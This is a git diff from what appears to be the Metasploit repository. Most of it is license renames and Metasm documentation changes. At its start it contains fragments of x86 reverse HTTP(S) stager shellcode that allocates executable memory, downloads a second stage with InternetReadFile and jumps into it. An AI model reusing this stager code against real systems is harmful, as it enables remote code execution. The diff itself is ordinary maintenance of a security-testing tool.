-  call ebp               ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
-
-download_prep:
-  xchg eax, ebx          ; place the allocated base address in ebx
-  push ebx               ; store a copy of the stage base address on the stack
-  push ebx               ; temporary storage for bytes read count
-  mov edi, esp           ; &bytesRead
-
-download_more:
-  push edi               ; &bytesRead
-  push 8192              ; read length
-  push ebx               ; buffer
-  push esi               ; hRequest
-  push 0xE2899612        ; hash( "wininet.dll", "InternetReadFile" )
-  call ebp
-
-  test eax,eax           ; download failed? (optional?)
-  jz failure
-
-  mov eax, [edi]
-  add ebx, eax           ; buffer += bytes_received
-
-  test eax,eax           ; optional?
-  jnz download_more      ; continue until it returns 0
-  pop eax                ; clear the temporary storage
-
-execute_stage:
-  ret                    ; dive into the stored stage address
-
-get_server_host:
-  call internetconnect
-
-server_host:
-
diff --git a/external/source/shellcode/windows/x86/src/stager/stager_reverse_https.asm b/external/source/shellcode/windows/x86/src/stager/stager_reverse_https.asm
index 061290001a..e73a0231ae 100644
--- a/external/source/shellcode/windows/x86/src/stager/stager_reverse_https.asm
+++ b/external/source/shellcode/windows/x86/src/stager/stager_reverse_https.asm
@@ -1,19 +1,20 @@
-;-----------------------------------------------------------------------------;
-; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
-; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
-; Version: 1.0 (24 July 2009)
-; Size: 274 bytes
-; Build: >build.py stager_reverse_tcp_nx
-;-----------------------------------------------------------------------------;
-
-[BITS 32]
-[ORG 0]
-
-  cld                    ; Clear the direction flag.
-  call start             ; Call start, this pushes the address of 'api_call' onto the stack.
-%include "./src/block/block_api.asm"
-start:                   ;
-  pop ebp                ; pop off the address of 'api_call' for calling later.
-%include "./src/block/block_reverse_https.asm"
+;-----------------------------------------------------------------------------;
+; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
+; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
+; Version: 1.0 (24 July 2009)
+; Size: 274 bytes
+; Build: >build.py stager_reverse_tcp_nx
+;-----------------------------------------------------------------------------;
+
+[BITS 32]
+[ORG 0]
+
+  cld                    ; Clear the direction flag.
+  call start             ; Call start, this pushes the address of 'api_call' onto the stack.
+%include "./src/block/block_api.asm"
+start:                   ;
+  pop ebp                ; pop off the address of 'api_call' for calling later.
+%define ENABLE_SSL 1
+%include "./src/block/block_reverse_http.asm"
   ; By here we will have performed the reverse_tcp connection and EDI will be our socket.
 
diff --git a/external/source/vncdll/vncdll/LICENSE.txt b/external/source/vncdll/vncdll/LICENSE.txt
index c952e523e3..ba5797cfe9 100644
--- a/external/source/vncdll/vncdll/LICENSE.txt
+++ b/external/source/vncdll/vncdll/LICENSE.txt
@@ -1,4 +1,4 @@
-Copyright (C) 2006-2010, Rapid7 LLC
+Copyright (C) 2006-2010, Rapid7, Inc
 All rights reserved.
 
 Redistribution and use in source and binary forms, with or without modification,
@@ -11,7 +11,7 @@ are permitted provided that the following conditions are met:
 	  this list of conditions and the following disclaimer in the documentation
 	  and/or other materials provided with the distribution.
 
-    * Neither the name of Rapid7 LLC nor the names of its contributors
+    * Neither the name of Rapid7, Inc nor the names of its contributors
 	  may be used to endorse or promote products derived from this software
 	  without specific prior written permission.
 
@@ -24,4 +24,4 @@ ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
 LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
 ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
-SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
\ No newline at end of file
+SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/external/source/vncdll/vncdll/context.h b/external/source/vncdll/vncdll/context.h
index 1f062cfd1f..df5143138e 100644
--- a/external/source/vncdll/vncdll/context.h
+++ b/external/source/vncdll/vncdll/context.h
@@ -1,4 +1,4 @@
-// Copyright (C) 2006-2010, Rapid7 LLC
+// Copyright (C) 2006-2010, Rapid7, Inc
 // All rights reserved.
 //
 // Redistribution and use in source and binary forms, with or without modification,
@@ -11,7 +11,7 @@
 //       this list of conditions and the following disclaimer in the documentation
 //       and/or other materials provided with the distribution.
 //
-//     * Neither the name of Rapid7 LLC nor the names of its contributors
+//     * Neither the name of Rapid7, Inc nor the names of its contributors
 //       may be used to endorse or promote products derived from this software
 //       without specific prior written permission.
 //
@@ -105,4 +105,4 @@ DWORD WINAPI context_message_thread( LPVOID lpParameter );
 
 //===============================================================================================//
 #endif
-//===============================================================================================//
\ No newline at end of file
+//===============================================================================================//
diff --git a/external/source/vncdll/vncdll/inject.h b/external/source/vncdll/vncdll/inject.h
index 46c7a62712..d7e7fffda1 100644
--- a/external/source/vncdll/vncdll/inject.h
+++ b/external/source/vncdll/vncdll/inject.h
@@ -1,4 +1,4 @@
-// Copyright (C) 2006-2010, Rapid7 LLC
+// Copyright (C) 2006-2010, Rapid7, Inc
 // All rights reserved.
 //
 // Redistribution and use in source and binary forms, with or without modification,
@@ -11,7 +11,7 @@
 //       this list of conditions and the following disclaimer in the documentation
 //       and/or other materials provided with the distribution.
 //
-//     * Neither the name of Rapid7 LLC nor the names of its contributors
+//     * Neither the name of Rapid7, Inc nor the names of its contributors
 //       may be used to endorse or promote products derived from this software
 //       without specific prior written permission.
 //
@@ -99,4 +99,4 @@ DWORD inject_dll( DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght );
 
 //===============================================================================================//
 #endif
-//===============================================================================================//
\ No newline at end of file
+//===============================================================================================//
diff --git a/external/source/vncdll/vncdll/loader.h b/external/source/vncdll/vncdll/loader.h
index b93ccf9c3e..3671c1ddcf 100644
--- a/external/source/vncdll/vncdll/loader.h
+++ b/external/source/vncdll/vncdll/loader.h
@@ -1,4 +1,4 @@
-// Copyright (C) 2006-2010, Rapid7 LLC
+// Copyright (C) 2006-2010, Rapid7, Inc
 // All rights reserved.
 //
 // Redistribution and use in source and binary forms, with or without modification,
@@ -11,7 +11,7 @@
 //       this list of conditions and the following disclaimer in the documentation
 //       and/or other materials provided with the distribution.
 //
-//     * Neither the name of Rapid7 LLC nor the names of its contributors
+//     * Neither the name of Rapid7, Inc nor the names of its contributors
 //       may be used to endorse or promote products derived from this software
 //       without specific prior written permission.
 //
diff --git a/external/source/vncdll/vncdll/ps.h b/external/source/vncdll/vncdll/ps.h
index 6daab69570..be2c7733d9 100644
--- a/external/source/vncdll/vncdll/ps.h
+++ b/external/source/vncdll/vncdll/ps.h
@@ -1,4 +1,4 @@
-// Copyright (C) 2006-2010, Rapid7 LLC
+// Copyright (C) 2006-2010, Rapid7, Inc
 // All rights reserved.
 //
 // Redistribution and use in source and binary forms, with or without modification,
@@ -11,7 +11,7 @@
 //       this list of conditions and the following disclaimer in the documentation
 //       and/or other materials provided with the distribution.
 //
-//     * Neither the name of Rapid7 LLC nor the names of its contributors
+//     * Neither the name of Rapid7, Inc nor the names of its contributors
 //       may be used to endorse or promote products derived from this software
 //       without specific prior written permission.
 //
@@ -74,4 +74,4 @@ DWORD ps_getnativearch( VOID );
 
 //===============================================================================================//
 #endif
-//===============================================================================================//
\ No newline at end of file
+//===============================================================================================//
diff --git a/external/source/vncdll/vncdll/session.h b/external/source/vncdll/vncdll/session.h
index 7272f9ff0d..67f89f3713 100644
--- a/external/source/vncdll/vncdll/session.h
+++ b/external/source/vncdll/vncdll/session.h
@@ -1,4 +1,4 @@
-// Copyright (C) 2006-2010, Rapid7 LLC
+// Copyright (C) 2006-2010, Rapid7, Inc
 // All rights reserved.
 //
 // Redistribution and use in source and binary forms, with or without modification,
@@ -11,7 +11,7 @@
 //       this list of conditions and the following disclaimer in the documentation
 //       and/or other materials provided with the distribution.
 //
-//     * Neither the name of Rapid7 LLC nor the names of its contributors
+//     * Neither the name of Rapid7, Inc nor the names of its contributors
 //       may be used to endorse or promote products derived from this software
 //       without specific prior written permission.
 //
@@ -39,4 +39,4 @@ DWORD session_inject( DWORD dwSessionId, DLL_BUFFER * pDllBuffer );
 
 //===============================================================================================//
 #endif
-//===============================================================================================//
\ No newline at end of file
+//===============================================================================================//
diff --git a/lib/metasm.rb b/lib/metasm.rb
index ebe35d2b23..db05c0b36e 100644
--- a/lib/metasm.rb
+++ b/lib/metasm.rb
@@ -1,7 +1,2 @@
 # Load a slightly tweaked METASM stub
 require 'metasm/metasm'
-
-# Manually load the classes we need from METASM
-require 'metasm/ia32'
-require 'metasm/mips'
-require 'metasm/exe_format/shellcode'
diff --git a/lib/metasm/.hg_archival.txt b/lib/metasm/.hg_archival.txt
deleted file mode 100644
index 09fc31a53b..0000000000
--- a/lib/metasm/.hg_archival.txt
+++ /dev/null
@@ -1,2 +0,0 @@
-repo: a1be49ad3727a7dab9202f848ad39b5674e1aada
-node: 7ec6509ea16231e365fffc91014755c810c27536
diff --git a/lib/metasm/README b/lib/metasm/README
index 5a94ac997b..4896d1d4be 100644
--- a/lib/metasm/README
+++ b/lib/metasm/README
@@ -21,6 +21,10 @@ Ready-to-use scripts can be found in the samples/ subdirectory, check the
 comments in the scripts headers. You can also try the --help argument if
 you're feeling lucky.
 
+For more information, check the doc/ subdirectory. The text files can be
+compiled to html using the misc/txt2html.rb script.
+
+
 
 Here is a short overview of the Metasm internals.
 
@@ -167,8 +171,8 @@ You can encode/decode an ExeFormat (ie decode sections, imports, headers etc)
 Constructor: ExeFormat.decode_file(str), ExeFormat.decode_file_header(str)
 Methods: ExeFormat#encode_file(filename), ExeFormat#encode_string
 
-PE and ELF files have a LoadedPE/LoadedELF counterpart, that is able to work
-with memory-mmaped versions of those formats (e.g. to debugging running
+PE and ELF files have a LoadedPE/LoadedELF counterpart, that are able to work
+with memory-mmaped versions of those formats (e.g. to debug running
 processes)
 
 
@@ -198,27 +202,31 @@ disassembly/patching easily (using LoadedPE/LoadedELF as ExeFormat)
 
 Debugging:
 
-Metasm includes a few interfaces to allow live debugging.
+Metasm includes a few interfaces to handle debugging.
 The WinOS and LinOS classes offer access to the underlying OS processes (e.g.
 OS.current.find_process('foobar') will retrieve a running process with foobar
 in its filename ; then process.mem can be used to access its memory.)
 
-The Windows and Linux debugging APIs (x86 only) have a basic ruby interface
-(PTrace32, extended in samples/rubstop.rb ; and WinDBG, a simple mapping of the
-windows debugging API) ; those will be more worked on/integrated in the future.
+The Windows and Linux low-level debugging APIs have a basic ruby interface
+(PTrace and WinAPI) ; which are used by the unified high-end Debugger class.
+Remote debugging is supported through the GDB server wire protocol.
+
+High-level debuggers can be created with the following ruby line:
+Metasm::OS.current.create_debugger('foo')
+
+Only one kind of host debugger class can exist at a time ; to debug multiple
+processes, attach to other processes using the existing class. This is due
+to the way the OS debugging API works on Windows and Linux.
+
+The low-level backends are defined in the os/ subdirectory, the front-end is
+defined in debug.rb.
 
 A linux console debugging interface is available in samples/lindebug.rb ; it
-uses a SoftICE-like look and feel.
-This interface can talk to a gdb-server through samples/gdbclient.rb ; use
-[udp:]<host:port> as target.
+uses a (simplified) SoftICE-like look and feel.
+It can talk to a gdb-server socket ; use a [udp:]<host:port> target.
 
-The disassembler scripts allow live process interaction by using as target
-'live:<pid or part of filename>'.
-
-A generic debugging interface is available, it is defined in metasm/os/main.rb
-It may be accessed using the Metasm::OS.current.create_debugger('foo')
-
-It can be viewed in action using the GUI and 'open live' target.
+The disassembler-gui sample allow live process interaction when using as
+target 'live:<pid or part of program name>'.
 
 
 C Parser:
@@ -236,7 +244,11 @@ It handles all the constructs i am aware of, except hex floats:
  - __int8 etc native types
  - Label addresses (&&label)
 Also note that all those things are parsed, but most of them will fail to
-compile on the Ia32 backend (the only one implemented so far.)
+compile on the Ia32/X64 backend (the only one implemented so far.)
+
+Parsing C files should be done using an existing ExeFormat, with the
+parse_c_file method. This ensures that format-specific macros/ABI are correctly
+defined (ex: size of the 'long' type, ABI to pass parameters to functions, etc)
 
 When you parse a C String using C::Parser.parse(text), you receive a Parser
 object. It holds a #toplevel field, which is a C::Block, which holds #structs,
@@ -249,15 +261,11 @@ CExpressions...)
 
 A C::Parser may be #precompiled to transform it into a simplified version that
 is easier to compile: typedefs are removed, control sequences are transformed
-in if () goto ; etc.
+into 'if (XX) goto YY;' etc.
 
 To compile a C program, use PE/ELF.compile_c, that will create a C::Parser with
 exe-specific macros defined (eg __PE__ or __ELF__).
 
-The prefered way to create a C::Parser is to initialize it with a CPU and the
-desired ExeFormat, so that it is
-correctly initialized (eg type sizes: is long 4 or 8 bytes? etc) ; and
-may define preprocessor macros needed to correctly parse standard headers.
 Vendor-specific headers may need to use either #pragma prepare_visualstudio
 (to parse the Microsoft Visual Studio headers) or prepare_gcc (for gcc), the
 latter may be auto-detected (or may not).
diff --git a/lib/metasm/TODO b/lib/metasm/TODO
index 550bc8392e..11361bacfe 100644
--- a/lib/metasm/TODO
+++ b/lib/metasm/TODO
@@ -2,13 +2,14 @@ List of TODO items, by section, in random order
 
 Ia32
  emu fpu
- add all sse2 instrs
+ AVX support
  realmode
 
 X86_64
  decompiler
 
 CPU
+ Arm
  Sparc
  Cell
 
@@ -26,14 +27,14 @@ Assembler
 Disasm
  DecodedData
  Exe decoding generate decodeddata ?
- Function-local namespace (esp+12 -> esp+var_42)
+ Function variable names using stack analysis + ExpressionString
  Fix thunk detection (thunk: mov ecx, 42  jmp [iat_thiscall] is not a thunk)
  Test with ET_REL style exe
  Store stuff out of mem (to handle big binaries)
  Better :default usage
   good on call eax, but not on <600k instrs> ret
   use binary personality ? (uses call vs uses pushret..)
- Improve backtrace -> patch di.instr.args exprs
+ Improve 'backtrace => patch di.instr.args'
  path-specific backtracking ( foo: call a ; a: jmp retloc ; bar: call b ; b: jmp retloc ; retloc: ret ; call foo ; ret : last ret trackback should only reach a:)
  Decode pseudo/macro-instrs (mips 'li')
  Deoptimizer (instr reordering for readability)
@@ -69,6 +70,7 @@ Decompiler
  Handle/hide compiler-generated stuff (getip, stack cookie setup/check..)
  Handle call 1f ; 1: pop eax
  More user control (force/forbid register arg, return type, etc)
+ Preserve C decompiled line association to range of asm decoded addrs
 
 Debugger
  OSX
@@ -81,7 +83,6 @@ Debugger
  Remote debugging (small standalone C client)
  Support dbghelp.dll (ms symbol server info)
  Support debugee function call (gdb 'call')
- Manipulate memory through C struct casts
 
 ExeFormat
  Handle minor editing without decode/reencode (eg patch ELF entrypoint)
@@ -105,10 +106,9 @@ GUI
    show breakpoints
    show jump direction from current flag values
  have a console frontend
- better graph positionning fallback
  zoom font when zooming graph
- copy/paste, selection
+ text selection
  map (part of) the binary & debug it (map a PE on a linux host & run it)
 
 Ruby
- compile ruby AST to native optimized code
+ write a fast ruby-like interpreter
diff --git a/lib/metasm/doc/code_organisation.txt b/lib/metasm/doc/code_organisation.txt
deleted file mode 100644
index d60ddfccb6..0000000000
--- a/lib/metasm/doc/code_organisation.txt
+++ /dev/null
@@ -1,146 +0,0 @@
-Metasm source code organisation
-===============================
-
-The metasm source code takes advantage of the ruby language facilities,
-which allows splitting the definition of a single class in multiple files.
-
-Each file in the source tree holds code related to a particular feature of
-the framework.
-
-Directories
------------
-
-The top-level directories are :
-
-* `doc/`: this documentation
-* `metasm/`: the framework core
-* `samples/`: a set of sample scripts showing various functionnalities of the framework
-* `tests/`: a few unit tests (too few..)
-* `misc/`: misc ruby scripts, not directly related to metasm
-
-The core
---------
-
-The `metasm/` directory holds most of the code of the framework, along with the
-main `metasm.rb` file in the top directory.
-
-The top-level `metasm.rb` has code to load parts of the framework source on demand
-in the ruby interpreter, which is implemented with ruby's <const_missing.txt>
-
-
-Executable formats
-##################
-
-The `exe_format/` subdirectory contains the implementations of the various
-binary file formats supported in the framework.
-
-Three files have a special meaning here:
-
-* `main.rb`: it defines the <core/ExeFormat.txt> class
-* `serialstruct.rb`: here you'll find the definitions of <core/SerialStruct.txt>
-* `autoexe.rb`: the implementation of <core/AutoExe.txt>, which allows the recognition of arbitrary files from their binary signature.
-
-The `main.rb` file is included in all other formats, as all file classes
-are subclasses of `ExeFormat`.
-
-The `serialstruct.rb` implements a helper class to ease the description of
-binary structures, and generate parsing/encoding functions for those.
-
-All other files implement a specific file format handler. The bigger files
-(`ELF` and `PE/COFF`) are split between the parsing/encoding functions and
-decoding/disassembly.
-
-
-CPUs
-####
-
-All supported architectures have a dedicated subdirectory, and a helper file
-that will simply include all the arch-specific files.
-
-All those files will contribute to add functions to the same class implementing
-the CPU interface. Not all CPUs implement all those features. They are:
-
-* `main.rb`: inner classes definitions (for registers etc), generic functions
-* `opcodes.rb`: initializes the opcode list for the architecture
-* `encode.rb`: methods to encode instructions
-* `decode.rb`: methods to decode/emulate instructions
-* `parse.rb`: methods to parse asm instructions from a source file
-* `render.rb`: methods to output an instruction to a string
-* `compile_c.rb`: the C compiler implementation
-* `decompile.rb`: the arch-specific part of the generic decompiler
-* `debug.rb`: arch-specific information used when debugging target of this architecture
-
-In some cases the files are small enough to be all merged into the `main.rb` file.
-
-
-Operating systems
-#################
-
-The `os/` subdirectory holds the code used to abstract an operating systems.
-
-The files here define an API allowing to enumerate running processes, and interact
-with them in various ways. The <core/Debugger.txt> class and subclasses are
-defined there.
-
-Those files also holds the list of known functions and in which system libraries
-they can be found (see <core/WindowsExports.txt> or <core/GNUExports.txt>), which
-are used when linking executable files.
-
-
-Graphical user-interface
-########################
-
-The `gui/` subdirectory contains the code needed by the metasm graphical user-interfaces.
-
-Currently those include the disassembler and the debugger (see the *samples* section).
-
-Those GUI elements are implemented using a custom GUI abstraction, and reside in the
-various `dasm_*.rb` and `debug.rb`.
-
-The actual implementation of the GUI are found in:
-
-* `win32.rb`: the native Win32 API backend
-* `gtk.rb`: a Gtk2 backend, intended for unix platforms
-* `qt.rb`: a Qt backend experiment
-
-Please note that the Qt backend does not work *at all*.
-
-The `gui.rb` file in the main directory is used to chose among the available GUI backend
-the most appropriate for the current session.
-
-
-Others
-######
-
-The other files directly in the `metasm/` directory are either support files
-(eg `encode.rb`, `parse.rb`) that hold generic functions to be used by
-specific cpu/exeformat instances, or implement arch-agnostic features.
-Those include:
-
-* `preprocessor.rb`: the C/asm preprocessor/lexer
-* `parse_c.rb`: this is the implementation of the C parser
-* `compile_c.rb`: this is a C precompiler, it generates a very simplified C from a standard source
-* `decompile.rb`: the generic decompiler code, it uses arch-specific functions defined in the arch folder
-* `dynldr.rb`: this module is used when interacting directly with the host operating system through <core/DynLdr.txt>
-
-
-The samples
------------
-
-The `samples/` directory contains a lot of small files that intend to be
-exemples of how to use the framework. It also holds experiments and
-work-in-progress for features that may later be integrated into the main
-framework.
-
-The comment at the beginning of the file should be clear about the purpose
-of the script, and the scripts are expected to be copy/pasted and tweaked
-for the specific task needed by the user (that's you).
-
-Some of those files however are full-featured applications:
-
-* `exeencode.rb`: a shellcode compiler, with its `peencode.rb`, `elfencode.rb`, `machoencode.rb` counterparts
-* `disassemble.rb`: a disassembler
-* `disassemble-gui.rb`: the graphical disassembler / debugger
-
-The `samples/dasm-plugins/` subdirectory holds various plugins for the disassembler.
-
diff --git a/lib/metasm/doc/const_missing.txt b/lib/metasm/doc/const_missing.txt
deleted file mode 100644
index 88d0519b6c..0000000000
--- a/lib/metasm/doc/const_missing.txt
+++ /dev/null
@@ -1,16 +0,0 @@
-The const_missing trick
-=======================
-
-Metasm uses a ruby trick to load most of the framework on demand, so that
-*e.g.* the `MIPS`-related classes are never loaded in the ruby interpreter
-unless you use them.
-
-It is setup by the top-level `metasm.rb` file, by using the ruby mechanism of
-`Module.autoload`. This mechanism will automatically load the specified metasm
-components whenever a reference is made to one of the constants listed here.
-
-Metasm provides a replacement top-level file, `misc/metasm-all.rb`,
-which will unconditionally load all metasm files.
-This will not however load mutually exclusive files, like the Gui subsystems ;
-in this case it will load only the autodetected gui module (win32 or gtk).
-
diff --git a/lib/metasm/doc/core/DynLdr.txt b/lib/metasm/doc/core/DynLdr.txt
deleted file mode 100644
index fb133ad546..0000000000
--- a/lib/metasm/doc/core/DynLdr.txt
+++ /dev/null
@@ -1,247 +0,0 @@
-DynLdr
-======
-
-DynLdr is a class that uses metasm to dynamically add native methods,
-or native method wrappers, available to the running ruby interpreter.
-
-It leverages the built-in C parser / compiler.
-
-It is implemented in `metasm/dynldr.rb`.
-
-Currently only supported for <core/Ia32.txt> and <core/X86_64.txt> under
-Windows and Linux.
-
-
-Basics
-------
-
-Native library wrapper
-######################
-
-The main usage is to generate interfaces to native libraries.
-
-This is done through the `#new_api_c` method.
-
-The following exemple will read the specified C header fragment,
-define ruby constants for all `#define`/`enum`, and define ruby
-method wrappers to call the native functions whose prototype is
-present in the header.
-
-All referenced native functions must be exported by the given
-library file.
-
-  class MyInterface < DynLdr
-    c_header = <<EOS
-  #define SomeConst 42
-  enum { V1, V2 };
-  
-  __stdcall int methodist(char*, int);
-  EOS
-
-    new_api_c c_header, 'mylib.dll'
-  end
-
-Then you can call, from the ruby:
-
-  MyInterface.methodist("lol", MyInterface::SOMECONST)
-
-Constant/enum names are converted to full uppercase, and method
-names are converted to full lowercase.
-
-Dynamic native inline function
-##############################
-
-You can also dynamically compile native functions, that are compiled
-in memory and copied to RWX memory with the right ruby wrapper:
-
-  class MyInterface < DynLdr
-    new_func_c <<EOS
-  int bla(char*arg) {
-    if (strlen(arg) > 4)
-       return 1;
-    else
-       return 0;
-  }
-  EOS
-  end
-
-References to external functions are allowed, and resolved automatically.
-
-The ruby objects used as arguments to the wrapper method are
-automatically converted to the right C type.
-
-
-You can also write native functions in assembly, but you must specify a
-C prototype, used for argument and return value conversion.
-
-  class MyInterface < DynLdr
-    new_func_asm "int increment(int i);", <<EOS
-   mov eax, [esp+4]
-   inc eax
-   ret
-  EOS
-  
-  p increment(4)
-
-  end
-
-
-Structures
-----------
-
-`DynLdr` handles C structures.
-
-Once a structure is specified in the C part, you can create a ruby object
-using `MyClass.alloc_c_struct(structname)`, which will allocate an object of the
-right size to hold all the structure members, and with the right accessors.
-
-To access/modify struct members, you can either use a `Hash`-style access
-
-  structobj['membername'] = 42
-
-or `Struct`-style access
-
-  structobj.membername = 42
-
-Member names are matched case-insensitively, and nested structures/unions
-are also searched.
-
-The struct members can be initially populated by passing a `Hash` argument
-to the `alloc_c_struct` constructor. Additionally, this hash may use the
-special value `:size` to reference the byte size of the current structure.
-
-  class MyInterface < DynLdr
-    new_api_c <<EOS
-  struct sname {
-    int s_mysize;
-    int s_value;
-    union {
-      struct {
-        int s_bits:4;
-        int s_bits2:4;
-      };
-      int s_union;
-    }
-  };
-  EOS
-  end
-
-  # field s_mysize holds the size of the structure in bytes, ie 12
-  s_obj = MyInterface.alloc_c_struct('sname', :s_mysize => :size, :s_value => 42)
-
-  # we can access fields using Hash-style access
-  s_obj['s_UniOn'] = 0xa8
-
-  # or Struct-style access
-  puts '0x%x' % s_obj.s_BiTS2     #  =>  '0xa'
-
-This object can be directly passed as argument to a wrapped function, and
-the native function will receive a pointer to this structure (that it can
-freely modify).
-
-This object is a `C::AllocStruct`, defined in `metasm/parse_c.rb`.
-Internally, it is based on a ruby `String`, and has a reference to the parser's
-`Struct` to find the mapping membername -> offsets/length.
-
-See <core/CParser.txt> for more details.
-
-
-Callbacks
----------
-
-`DynLdr` handles C callbacks, with arbitrary ABI.
-
-Any number of callbacks can be defined at any time.
-
-C callbacks are backed by a ruby `Proc`, eg `lambda {}`.
-
-
-  class MyInterface < DynLdr
-    new_api_c <<EOS
-  void qsort(void *, int, int, int(*)(void*, void*));
-  EOS
-
-    str = "sanotheusnaonetuh"
-    cmp = lambda { |p1, p2|
-      memory_read(p1, 1) <=> memory_read(p2, 1)
-    }
-    qsort(str, str.length, 1, cmp)
-    p str
-  end
-
-
-
-Argument conversion
--------------------
-
-Ruby objects passed to a wrapper method are converted to the corresponding
-C type
-
-* `Strings` are converted to a C pointer to the byte buffer (also directly
-accessible from the ruby through `DynLdr.str_ptr(obj)`
-* `Integers` are converted to their C equivalent, according to the prototype
-(`char`, `unsigned long long`, ...)
-* `Procs` are converted to a C callback
-* `Floats` are not supported for now.
-
-
-Working with memory
--------------------
-
-DynLdr provides different ways to allocate memory.
-
-* `alloc_c_struct` to allocate a C structure
-* `alloc_c_ary` to allocate C array of some type
-* `alloc_c_ptr`, which is just an ary of size 1
-* `memory_alloc` allocates memory from a new memory page
-
-`memory_alloc` works by calling `mmap` under linux and `VirtualAlloc` under windows,
-and is suitable for allocating memory where you want to control
-the memory permissions (read, write, execute). This is done through `memory_perm`.
-
-`memory_perm` takes for argument the start address, the length, and the new permission, specified as a String (e.g. 'r', 'rwx')
-
-To work with memory that may be returned by an API (e.g. `malloc`),
-DynLdr provides ways to read and write arbitrary pointers from the ruby
-interpreter memory.
-Take care, those may generate faults when called with invalid addresses that
-will crash the ruby interpreter.
-
-* `memory_read` takes a pointer and a length, and returns a String
-* `memory_read_int` takes a pointer, and returns an Integer (of pointer size,
-e.g. 64 bit in a 64-bit interpreter)
-* `memory_write` takes a pointer and a String, and writes it to memory
-* `memory_write_int`
-
-
-Hacking
--------
-
-Internally, DynLdr relies on a number of features that are not directly
-available from the ruby interpreter.
-
-So the first thing done by the script is to generate a binary native module
-that will act as a C extension to the ruby interpreter.
-This binary is necessarily different depending on the interpreter.
-The binary name includes the target architecture, in the format
-dynldr-*arch*-*cpu*-*19*.so, e.g.
-
-* dynldr-linux-ia32.so
-* dynldr-windows-x64-19.so
-
-This native module is (re)generated if it does not exist, or is older than the
-`dynldr.rb` script.
-
-A special trick is used in this module, as it does not know the actual name
-of the ruby library used by the interpreter. So on linux, the `libruby` is
-removed from the `DT_NEEDED` library list, and on windows a special stub
-is assembled to manually resolve the ruby imports needed by the module from
-any instance of `libruby` present in the running process.
-
-The native file is written to a directory writeably by the current user.
-The following list of directories are tried, until a suitable one is found:
-
-* the `metasm` directory itself
-* the `$HOME`/`$APPDATA`/`$USERPROFILE` directory
-* the `$TMP`/`$TEMP`/current directory
-
diff --git a/lib/metasm/doc/core/ExeFormat.txt b/lib/metasm/doc/core/ExeFormat.txt
deleted file mode 100644
index 55a874c80b..0000000000
--- a/lib/metasm/doc/core/ExeFormat.txt
+++ /dev/null
@@ -1,43 +0,0 @@
-ExeFormat
-=========
-
-This class is the parent of all executable format handlers.
-
-It is defined in `metasm/exe_format/main.rb`.
-
-It defines some standard shortcut functions, such as:
-
-* `Exe.decode_file(filename)`
-* `Exe.assemble(cpu,asm_source)`
-* `Exe.compile_c(cpu,c_source)`
-* `Exe#encode_file(filename)`
-
-These methods will instanciate a new Exe, and call the corresponding
-methods, *e.g.* `load` with the file content, and `decode`.
-
-The handling of the different structures in the binary format should be
-done using the <core/SerialStruct.txt> facility.
-
-The subclasses are expected to implement various functions, depending on the
-usage (refer to the ELF and COFF implementations for more details):
-
-File decoding/disassembly
--------------------------
-
-* `#decode_header`: parse the raw data in `#encoded` only to parse the file header
-* `#decode`: parse all the raw data in `#encoded`
-* `#cpu_from_headers`: return a <core/CPU.txt> instance according to the exe header information
-* `#get_default_entrypoints`: the list of entrypoints (exported functions, etc)
-* `#dump_section_header`: return a string that may be assembled to recreate the specified section
-* `#section_info`: return a list of generic section informations for the disassembler
-
-
-File encoding/source parsing
-----------------------------
-
-* `#tune_prepro`: define exe-specific macros for the preprocessor (optional)
-* `#parse_init`: initialize the `@cursource` array to receive the parsed asm source
-* `#parse_parser_instruction`: parse exe-specific instructions, eg `.text`, `.import`...
-* `#assemble`: assemble the content of the @cursource into binary section contents
-* `#encode`: assemble the various sections and a binary header into `@encoded`
-
diff --git a/lib/metasm/doc/core/Expression.txt b/lib/metasm/doc/core/Expression.txt
deleted file mode 100644
index 2009e39b28..0000000000
--- a/lib/metasm/doc/core/Expression.txt
+++ /dev/null
@@ -1,220 +0,0 @@
-Expression
-==========
-
-Metasm uses this class to represent arbitrary symbolic arithmetic expressions, e.g.
-* `42`
-* `eax + 12`
-* `loc_4228h + 4*ebx - 12`
-
-These expressions can include `Integers`, `Symbols`, and `Strings`.
-
-The symbols and strings represent arbitrary variables, with the convention that
-strings represent fixed quantities (eg addresses, labels), whereas symbols
-represent more variable stuff (eg register values).
-
-There is also a special symbol that may be used, `:unknown`, to represent a
-value that is known to be unknown. See the `reduce` section.
-
-See also <core/Indirection.txt>.
-
-The Expression class holds all methods relative to Integer binary manipulation,
-that is `encoding` and `decoding` from/to a binary blob (see also
-<core/EncodedData.txt>)
-
-
-Members
--------
-
-Expressions hold exactly 3 members:
-* `lexpr`, the left-hand side of the expression
-* `rexpr`, the right-hand side
-* `op`, the operator
-
-`lexpr` and `rexpr` can be any value, most often String, Symbol, Integer or
-Expression. For unary operators, `lexpr` is `nil`.
-
-`op` is a Symbol representing the operation.
-It should be from the list:
-* arithmetic: `+ - / * >> << & | ^`
-* boolean: `|| && == != > >= < <=`
-* unary: `+ - ~ !`
-
-
-Instantiation
--------------
-
-In ruby code, use the class method `[]`. It takes 1 to 3 arguments, `lexpr`,
-`op`, and `rexpr`. `lexpr` defaults to `nil`, and `op` defaults to `:+` (except
-for negative numeric values, which is stored with `op` == `:-` and `rexpr` ==
-abs).
-
-If `lexpr` or `rexpr` are an `Array`, the `[]` constructor is called
-recursively, to ease the definition of nested Expressions.
-
-Exemples:
-
-  Expression[42]
-  Expression[:eax, :+, 12]
-  Expression[:-, 'my_var']
-  Expression[[:eax, :-, 4], :*, [:ebx, :+, 0x12]]
-
-The Expression class also includes a parser, to allow creating an expression
-from a string. `parse_string!` will create an Expression and update its
-argument to point after the last part read successfully into the expr.
